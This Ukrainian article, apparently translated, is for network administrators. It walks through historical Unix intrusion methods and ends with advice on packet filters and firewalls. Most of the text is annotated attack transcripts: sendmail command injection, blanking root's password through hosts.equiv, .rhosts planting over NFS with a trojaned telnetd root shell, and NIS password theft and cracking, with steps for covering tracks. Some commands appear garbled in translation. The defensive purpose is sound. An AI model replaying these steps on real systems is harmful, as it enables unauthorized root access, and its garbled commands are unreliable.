Підвищення інтересу до TCP/IP мереж обумовлено бурхливим зростанням мережі Internet. Однак це змушує замислитися над тим, як захистити свої інформаційні ресурси і комп’ютери від різного роду зловмисників. Для того, щоб розробити реально діючі контрзаходи, необхідно знати способи і методи зломщиків. У світовому співтоваристві Internet вже давно ведеться дискусія про те публікувати чи не публікувати матеріали про методи проникнення в чужі комп’ютерні мережі. Після палких обговорень, схоже, була усвідомлена необхідність повної відкритості з цього питання. Стаття заснована на досвіді адміністрування мережі при постійних спроби злому і методичних вказівках CERT.
Завдання даної статті полягає в тому, щоб звернути увагу адміністраторів мереж, підключених до Internet, на очевидні прогалини в системі безпеки найбільш популярних систем. Крім прикладів можливих зломів і дірок, постараємося коротко описати основні засоби боротьби з цим неминучим злом. Враховуючи той факт, що більшість серверів мережі використовують операційну систему Unix, огляд можливих дірок в системі безпеки має сенс почати саме з цієї ОС.
Основні методи отримання несанкціонованого доступу до Unix через мережу
Почати огляд випливає з можливості злому через електронну пошту. Для пересилки електронної пошти по IP на переважній більшості систем використовується програма sendmail, розроблена в університеті Берклі. Задумана як суто службова утиліта, ця програма придбала величезну популярність і увійшла у склад дистрибутива багатьох Unix-систем. Проте вона містила в собі дуже серйозну помилку, завдяки якій будь-який бажаючий мав можливість виконати на віддаленій машині команди з привілеями суперкористувача. Зазвичай зломщики намагалися відправити собі файл passwd для підбору паролів або поміщали свою інформацію у файли, що використовуються програмами rlogin, rsh для запуску shell без запиту пароля (Приклад 1).
ПРИКЛАД 1
crack% telnet target.remote.com 25
Connecting to 123.456.654.321.
! єднаємося з порту 25 — це SMTP
220 sendmail SMI/4.3.5.2 ready
! версія, яка як відомо, містить помилку.
helo xxx
220 Helo xxx, ( crack.edu )
mail from: |echo [email protected]
! підставляємо команду замість зворотної адреси.
200 Sender ok.
rcpt to: nosuchuser
! вводимо заздалегідь неправильного адресата
500 nosuchuser: user unknown
! незважаючи на повідомлення, продовжуємо діалог.
data
230 Enter mail, end with .
200 Mail accepted
! все, машина зламана….
quit
crack% su

! А тепер залазимо так, щоб нас не було видно через who
# rsh target.remote.com /bin/csh -i
Welcome to remote.com!
Warning! No access to terminal, job control disabled!
target#

Ця помилка присутня в кількох десятках різних варіантів ОС Unix самих різних фірм. Крім того, існують і більш прості способи при сприятливих умовах: віддалена машина Sun, система SunOS 4, NIS не запущений, система поставлена, і нічого не исправлялось (Приклад 2).
ПРИКЛАД 2
crack# su — bin
$ rsh target.remote.com /bin/csh -i
! У файлі /etc/hosts.equiv є запис + і помилка…
Welcome to remote.com!
! Каталог /etc з власником bin…
Warning! No access to terminal, job control disabled!
% ls -ldg /etc
drwxr-xr-x 10 bin bin 1536 Apr 10 01:45 /etc/
% cd /etc
! Робимо passwd доступним на запис нам…
% mv passwd passwd.was
% cp passwd.was passwd
! Редагуємо
% ed passwd
2341
1p
root:Nkkh5gkljGyj:0:0:Root:/:/bin/csh
s/Nkkh5gkljGyj//p
root::0:0:Root:/:/bin/csh
w
2341
q
! І в суперкористувача.
%echo /bin/csh -i | su root
Warning! No access to terminal, job control disabled!
target# mv /etc/passwd.was /etc/passwd
! Щоб ніхто не виявив, що ми робили.

Крім електронної пошти в TCP/IP мережах дуже широко застосовуються різні види розподілених файлових систем, найпопулярнішою з яких є Network File System (NFS). У випадку неакуратне заповнення файлу /etc/exports або використання дистрибутива з помилкою (SunOS 4.1) може виникнути наступна ситуація (Приклад 3).
ПРИКЛАД 3
crack% showmount -e target.remote.com
Export list for target.remote.com
/home Everyone
/disk3 neptun pluton alpha
! Домашні каталоги доступні за NFS
crack% su
# mount -t nfs target.remote.com:/home /mnt
# cd /mnt
! Монтуємо каталог до нас
# ls -ldg *
drwxr-xr-x 10 257 20 1536 Apr 10 01:45 user/
# echo crack.edu user/.rhosts
! Встановлюємо .rhosts у користувача
# cat /etc/passwd
user::257:20::/:
^D
! Створюємо такого ж у нас
# su — user
! Стаємо їм
$ rsh target.remote.com /bin/csh -i
Warning! No access to terminal, job control disabled!
! І заходимо на віддалену машину
% id
uid=257(user) gid=20(stuff) groups=20(stuff), 7(sys)
% ls -ldg /usr/etc
! Каталог доступний на запис
drwxrwxr-x 10 bin bin 1536 Apr 10 01:45 /usr/etc
% grep telnet /etc/inetd.conf
telnet stream nowait root /usr/etc/in.telnetd in.telnetd
! Знайшли програму, що запускається
! під root«ом з нашого каталогу
% cd /usr/etc
% mv in.telnetd in.telnetd1
! створюємо троянського коня
% cat in.telnetd
#!/bin/sh
exec /bin/csh -i
^D
% chmod 755 in.telnetd
! і запускаємо його
% telnet 127.1
Connecting 127.1.
Warning! No access to terminal, job control disabled!
# chown user /etc;
! Робимо /etc своїм
^M: command not found
# exit;
^M: command not found
Connection closed by foreign host.
% cd /etc
! і далі як раніше як у прикладі 1.

Якщо на машині працює NIS-сервер і не прийнято додаткових заходів, то за допомогою спеціальної програми можна поцупити по мережі файл passwd, загальний для деякого числа машин. У разі недотримання правил при створенні паролів, є досить велика ймовірність, що програма crack підбере кілька. Подальші події можуть розвиватися за одним із сценаріїв для отримання повноважень суперкористувача (Приклад 4) (після того, як ви зайшли на віддалену машину як користувач).
ПРИКЛАД 4
! перевіряємо на NIS сервер
crack% rpcinfo -p target.remote.com | grep bind
120000 2 udp 2493 ypbind
! є такий…
crack% ypx -o target.пароль-g target.remote.com
! забираємо файл паролів
crack% crack target.passwd
! і запускаємо підбирач паролів
[ a lot of time ]
ОК, user user password has iamuser
! знайшли, заходимо
crack% telnet target.remote.com
! далі як у попередньому прикладі.

Природно, що якщо відомі способи подолання захисту, то повинні бути розроблені і засоби захисту. Для мінімізації можливих спроб проникнення в мережу дуже ефективний маршрутизатор, вміє аналізувати потік проходить через нього інформації і здійснює фільтрацію пакетів. Ця можливість реалізована практично у всіх апаратних маршрутизаторів (cisco, wellfleet…) і у вигляді спеціального ПЗ для Unix-машин (Sun, DEC, BSDI, FreeBSD).
Такі маршрутизатори дозволяють здійснювати роботу в мережі суворо за певними правилами. Наприклад, не пропускати з/в локальну мережу деякі протоколи. Дуже рекомендується забороняти rlogin, rsh, RPC (див. Приклади), а також пакети, спрямовані на порти 2048 і 2049, — це порти даних для NFS. Також рекомендується чітко визначити машини, приймають пошту, і відкрити порт 25 тільки для них. При необхідності можлива конфігурація, яка взагалі забороняє будь-які заходи по мережі в локальну мережу, при цьому дозволяючи зсередини використовувати будь-які TCP-сервіси глобальної мережі. Подібний маршрутизатор або комбінація з декількох машин і фільтруючих маршрутизаторів отримали назву брандмауер (від англ. firewall — стіна вогню).
Для встановлення повного контролю за всіма сполуками можна використовувати так званий програмний брандмауер (software firewall). Він являє собою своєрідний маршрутизатор, який здійснює контроль за сполуками не на рівні IP-пакетів, а на рівні власне контрольованих протоколів.
У цьому випадку режим прозорою пересилання пакетів вимкнений, але замість програм, які забезпечують роботу з необхідними протоколами (telnet, ftp…), запускаються програми, які транслюють ці протоколи в мережу по іншу сторону машини, зазвичай звірившись по базі даних на предмет правомірності такого з’єднання і після ідентифікації користувача.